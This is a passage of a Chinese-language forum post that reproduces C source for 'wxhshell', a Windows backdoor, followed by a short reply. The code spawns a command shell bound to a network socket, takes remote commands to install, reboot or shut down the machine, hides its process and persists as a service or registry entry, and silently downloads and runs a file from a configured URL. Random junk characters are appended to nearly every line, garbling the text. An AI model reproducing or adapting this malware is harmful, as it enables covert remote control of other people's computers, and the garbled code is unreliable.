  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B_nVP  
  } 01r 8$+  
  else { 4 N H  
%W%9j#!aN  
    switch(cmd[0]) { 1|kvPo#  
  96 q_ K84K  
  // 帮助 3nT^?;-  
  case '?': { -=)+dCyB^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YQ+tDZY8`  
    break; >XY`*J^  
  } ,Sq/y~  
  // 安装 P3cRl']  
  case 'i': { =yr0bGy`-  
    if(Install()) U=DmsnD,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]h>_\9qO  
    else co~Pyj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ACvV "b  
    break; r"``QmM  
    } |uqf:V`z:  
  // 卸载 C ~<'rO}|  
  case 'r': { lG4H:[5V  
    if(Uninstall()) p<TpK )  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *AoR==:ya  
    else )~+E[|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]l1\? I  
    break; b7 NM#Hb  
    } =NnNN'}  
  // 显示 wxhshell 所在路径 $ et0s;GBv  
  case 'p': { ]Y2RqXA*  
    char svExeFile[MAX_PATH]; *of3:w  
    strcpy(svExeFile,"\n\r"); \R|4( +]x  
      strcat(svExeFile,ExeFile); (d(hR0HKE  
        send(wsh,svExeFile,strlen(svExeFile),0); :p]'32FA!  
    break; -R57@D>j\  
    } tE@;X=  
  // 重启 K8>zF/# +  
  case 'b': { * mOo@+89  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P%{^i]  
    if(Boot(REBOOT)) `8^TTQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k.uMp<)D  
    else { t?}zdI(4  
    closesocket(wsh); K[ (NTp$E  
    ExitThread(0); <F}_ /q1  
    } 5Yl <h)1  
    break; RoU55mL  
    } #9X70|f  
  // 关机 7w'wjX-  
  case 'd': { ep2k%?CX 1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p3 w  
    if(Boot(SHUTDOWN)) fb{`` ,nO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c lNkph  
    else { :^kZ.6Q@  
    closesocket(wsh); W_kHj}dj,p  
    ExitThread(0); !P)O(i=  
    } QA<Jr5Ys  
    break; vH#huZA?7  
    } Zn ''_fjh  
  // 获取shell T(t+ iv  
  case 's': { Zy o[(`y  
    CmdShell(wsh); `}mcEl  
    closesocket(wsh); rcMwFE?|xq  
    ExitThread(0); KO]T<R h<  
    break; u/M+u;  
  } c )G3k/T5  
  // 退出 !{^PO <9  
  case 'x': { 8>0e*jC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '=Rs/EDME  
    CloseIt(wsh); ?)u@Rf9>  
    break; #)C[5?{SNq  
    } 13@|w1/Z  
  // 离开 5*1D$mxD"  
  case 'q': { :.$3vaZ@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;~D)~=|ZZ  
    closesocket(wsh); ^~3SSLS4"  
    WSACleanup(); !"\80LP  
    exit(1); /(iFcMT  
    break; EL(nDv  
        } Zg'Q>.:  
  } y *fDwd~  
  } ;*:Pw?'  
wM2*#  
  // 提示信息 MM (xk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BK,{N0  
} 1+}{8D_F  
  } `NgAT 3zq  
vTJ}8  
  return; hM{{\yZS  
} J/[=p<I)  
g K[YQXfTy  
// shell模块句柄 OH">b6>\  
int CmdShell(SOCKET sock) UFp,a0|  
{ DV<` K$ET  
STARTUPINFO si; joiL{  
ZeroMemory(&si,sizeof(si)); 4cl\^yD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rvXWcu-"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1 D<_N  
PROCESS_INFORMATION ProcessInfo; [Pq}p0cD  
char cmdline[]="cmd"; wtH? [>S;)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o]; [R  
  return 0; kw"SwdP5  
} %*`J k#W:  
aVK3?y2  
// 自身启动模式 W9D86]3Y  
int StartFromService(void) f] J M /  
{ DDPxmuNG  
typedef struct 4KH45|; 3  
{ Gu2P\I2zx  
  DWORD ExitStatus; v" OY 1<8  
  DWORD PebBaseAddress; :9$F'd\  
  DWORD AffinityMask; E}40oID  
  DWORD BasePriority; 2@%$;.  
  ULONG UniqueProcessId; ,!7 H]4Qx  
  ULONG InheritedFromUniqueProcessId; n#wI@W >%+  
}   PROCESS_BASIC_INFORMATION; !+L/Khw/ C  
DjN|Wr)*  
PROCNTQSIP NtQueryInformationProcess; v(EEG/~  
5ZMR,SZhC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Cb9;QzBVA#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }T%}wdj  
, ]+z)   
  HANDLE             hProcess; 1#0{@35  
  PROCESS_BASIC_INFORMATION pbi; <-,gAk)u  
\9/ b!A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '+$EhFwD  
  if(NULL == hInst ) return 0; Vzwc}k*Y  
>|twyb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =u+d_'P7-R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c2e tc8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :1iqT)&|8F  
^sVX)%  
  if (!NtQueryInformationProcess) return 0; > 3&: 5  
@ ]/AjjLt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m<0&~rg   
  if(!hProcess) return 0; <K8\n^i~c  
unBy&?&p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ho0@ l  
IaT$ 6\>  
  CloseHandle(hProcess); AiK  
o]p|-<I Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k&. Jk B"  
if(hProcess==NULL) return 0; ui@2s;1t  
Hrzf'a|^  
HMODULE hMod; l"2OP6d  
char procName[255]; |jVM&R2s  
unsigned long cbNeeded; l?Fb ='#  
Fm # w2o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^ 8@Iyh  
T9u<p=p  
  CloseHandle(hProcess); E[bd@[N 8  
bf!M#QOk?  
if(strstr(procName,"services")) return 1; // 以服务启动 cg*)0U-_(  
&bp=`=*  
  return 0; // 注册表启动 CJXg@\\/  
} X_g 3rv1J  
W"k8KODOY  
// 主模块 N1}={yF.fQ  
int StartWxhshell(LPSTR lpCmdLine) 9`w)  
{ aN $}?  
  SOCKET wsl; (>I`{9x>6  
BOOL val=TRUE; gW1b~( fD  
  int port=0; w&B#goS  
  struct sockaddr_in door; mK [0L  
lME)?LOI  
  if(wscfg.ws_autoins) Install(); K.z64/H:  
A6pjRxg  
port=atoi(lpCmdLine); f4guz  
F`9ZH.  
if(port<=0) port=wscfg.ws_port; ?w+Ix~k  
k!KDWb  
  WSADATA data; _+^ 2^TW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,+ #6Y_  
p!<$vE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .LuB\o$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -p E(_  
  door.sin_family = AF_INET; Y"6w,_'m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d'|, [p  
  door.sin_port = htons(port); $Tb G+Eb8  
S>0nx ^P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { His*t1o8'O  
closesocket(wsl); =07]z@s  
return 1; <6G1 1-K  
} VT.;:Q  
!xKJE:4/,m  
  if(listen(wsl,2) == INVALID_SOCKET) { 6O22P?v  
closesocket(wsl); i]#+1Hf  
return 1; A;O~#Chvd  
} ,.o<no  
  Wxhshell(wsl); 8l"O(B'#Z  
  WSACleanup(); |P.6<  
"sKa`WN}  
return 0; d.2mT?`#  
_"%B7FK  
} PDLpNTBf  
atW'  
// 以NT服务方式启动 ~WpGf,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /LM4- S  
{ B<~U3b  
DWORD   status = 0; Zv_jy@k  
  DWORD   specificError = 0xfffffff; 3s>'hn  
^o !O)D-q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q,2]5 '  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gBf4's  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i0s6aAhgJ  
  serviceStatus.dwWin32ExitCode     = 0; AC.A'|"]i  
  serviceStatus.dwServiceSpecificExitCode = 0; G8IY#  
  serviceStatus.dwCheckPoint       = 0; Ji;mHFZ*FU  
  serviceStatus.dwWaitHint       = 0; O3.C:?;x  
'?Jxt:<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s:Akk kF  
  if (hServiceStatusHandle==0) return; o."rxd  
2 /y}a#s  
status = GetLastError(); G^(}a]>9  
  if (status!=NO_ERROR) %Z8vdU#l  
{ ?v-1zCls  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S }>n1F_  
    serviceStatus.dwCheckPoint       = 0; 'lS `s(  
    serviceStatus.dwWaitHint       = 0; ^<0IB#dA  
    serviceStatus.dwWin32ExitCode     = status; c[ht`!P  
    serviceStatus.dwServiceSpecificExitCode = specificError; J@9}`y=K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )n=ARDd^e  
    return; rQP"Y[  
  } g8'DoHJ*  
_iE j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c {I"R8  
  serviceStatus.dwCheckPoint       = 0; * \HRw +cL  
  serviceStatus.dwWaitHint       = 0; uvA(Rn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $cVi;2$p  
} CT d|`  
Qeb}!k2A  
// 处理NT服务事件,比如:启动、停止 nB5Am^bP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZB5?!.ND  
{ Q&M'=+T  
switch(fdwControl) *wi}>_\  
{ 7?)/>lx\>$  
case SERVICE_CONTROL_STOP: NfE.N&vI_c  
  serviceStatus.dwWin32ExitCode = 0; nE y]`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r-w2\2  
  serviceStatus.dwCheckPoint   = 0; `dJDucD  
  serviceStatus.dwWaitHint     = 0; v&3O&y/1v  
  { F3ZxhkF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~DLIzg7p!  
  } xfSG~csoz  
  return; -PAF p3w\y  
case SERVICE_CONTROL_PAUSE: jnoL2JR[=-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0zqj0   
  break; }gsO&g"8  
case SERVICE_CONTROL_CONTINUE: JatHSW7j9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |Vx~fKS\  
  break; !W1eUY  
case SERVICE_CONTROL_INTERROGATE: ] mj v;C  
  break; T{*^_  
}; gZ(O)uzv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nm8w/Q5D`  
} )-&nxOP  
?gV'(3 !  
// 标准应用程序主函数 $<e +r$1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qmmv7==  
{ qtSs)n  
MWq$AK]  
// 获取操作系统版本 $ u2Cd4  
OsIsNt=GetOsVer(); :$"7-a %f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ) Ypz!  
=|y|P80w  
  // 从命令行安装 xQz#i-v  
  if(strpbrk(lpCmdLine,"iI")) Install(); Riql,g/  
@ t@|q  
  // 下载执行文件 IYNMU\s  
if(wscfg.ws_downexe) { ^`&HWp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X^in};&d  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?@a$!_  
} $T*KaX\{B  
(G5T%[/U  
if(!OsIsNt) { w2 )/mSnu  
// 如果时win9x,隐藏进程并且设置为注册表启动 +-HE '4mo  
HideProc(); q<}PM  
StartWxhshell(lpCmdLine); 5c~'!:7  
} p#b{xK  
else A*Q[k 9B  
  if(StartFromService()) T` ;k!F46  
  // 以服务方式启动 luF#OPC  
  StartServiceCtrlDispatcher(DispatchTable); zZYHc?Z  
else Ak|b0l>^  
  // 普通方式启动 A}eOR=E  
  StartWxhshell(lpCmdLine); ^%zNa6BL  
pU[K%@sC  
return 0; ")\ *2d  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五